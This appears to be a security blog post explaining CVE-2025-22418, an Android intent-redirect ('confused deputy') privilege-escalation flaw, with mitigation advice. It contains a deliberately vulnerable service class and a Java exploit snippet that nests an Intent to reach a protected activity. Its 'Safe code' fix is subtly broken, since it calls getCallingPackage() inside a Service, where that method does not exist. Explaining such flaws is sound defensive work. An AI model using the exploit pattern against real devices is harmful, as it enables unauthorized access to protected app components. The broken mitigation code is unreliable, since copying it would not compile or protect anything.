In early 2025, CVE-2025-22418 was reported as a significant security vulnerability affecting multiple Android applications—and likely, even core system components. This post dives deep into what CVE-2025-22418 is, how it works, and how attackers can exploit it to escalate privileges locally on a device, all without needing any user interaction.

What Is a “Confused Deputy” Vulnerability?

A “confused deputy” is a well-known security issue where a program—a deputy—has authority it can unwittingly use on behalf of someone else. In the context of Android, Intent Redirect issues can let one app exploit another app’s higher system privileges.

How CVE-2025-22418 Works

CVE-2025-22418 arises due to multiple locations in Android and popular third-party apps mishandling Intents. Intents are how Android apps and services communicate. A common error is trusting incoming Intents without enough checks, unintentionally letting a lower privileged app “ask” a more privileged app to do something dangerous.

In this vulnerability, the attacker sends a specially-crafted Intent to a target component (service, receiver, or activity) in a privileged app (the “deputy”). Due to improper validation, the privileged app redirects or processes the Intent, granting the attacker’s code access or actions they shouldn’t have.

No special app permissions or user interaction are needed for this exploit—just a vulnerable deputy and unfettered access to send Intents.

Let’s break it down with a sample vulnerable service component

// VulnerableService.java in a privileged app
public class VulnerableService extends Service {
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Intent targetIntent = intent.getParcelableExtra("target_intent");
        if (targetIntent != null) {
            startActivity(targetIntent);
        }
        return START_NOT_STICKY;
    }
}

It directly launches the embedded Intent, possibly with its own (higher) privileges.

- Any app can send a crafted Intent pointing target_intent to a sensitive app or even to a system interface.

Exploit code example

// In attacker’s app
Intent exploitIntent = new Intent();
exploitIntent.setComponent(new ComponentName("victim.package", "VulnerableService"));
Intent nestedIntent = new Intent();
nestedIntent.setComponent(new ComponentName("com.secureapp", "SecureActivity"));
// Optionally add extras or data here for further abuse
exploitIntent.putExtra("target_intent", nestedIntent);

context.startService(exploitIntent); // No permission needed!

If VulnerableService has higher privileges or runs as a system app, the attacker can now reach sensitive components otherwise protected from direct access.

References

- CVE-2025-22418 MITRE Details
- Understanding Confused Deputy Attacks
- Common Android Security Mistakes

Don’t export unnecessary components

Make sensitive receiver/service/activity components android:exported="false" in AndroidManifest.xml.

Validate Incoming Intents

Only allow Intents from trustworthy sources (getCallingPackage(), check signatures, use FLAG_GRANT_READ_URI_PERMISSION cautiously).

Safe code

public class SafeService extends Service {
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // Only proceed if Intent comes from trusted source
        String packageName = getCallingPackage();
        if ("my.trusted.app".equals(packageName)) {
            // Proceed safely
        }
        return START_NOT_STICKY;
    }
}

Conclusion

CVE-2025-22418 is a big reminder: Android’s Intent system is powerful but must be handled carefully. The confused deputy pattern makes it very easy for low-privilege apps to piggyback on system or privileged components. If you’re a developer, audit your Intent receivers and services today; if you’re a user, watch for security updates from device and app vendors.

Stay Secure!

*For more information, follow the Android security blog or monitor the official CVE entry as more details are published.*

Timeline

Published on: 09/02/2025 23:15:33 UTC
Last modified on: 09/04/2025 16:39:53 UTC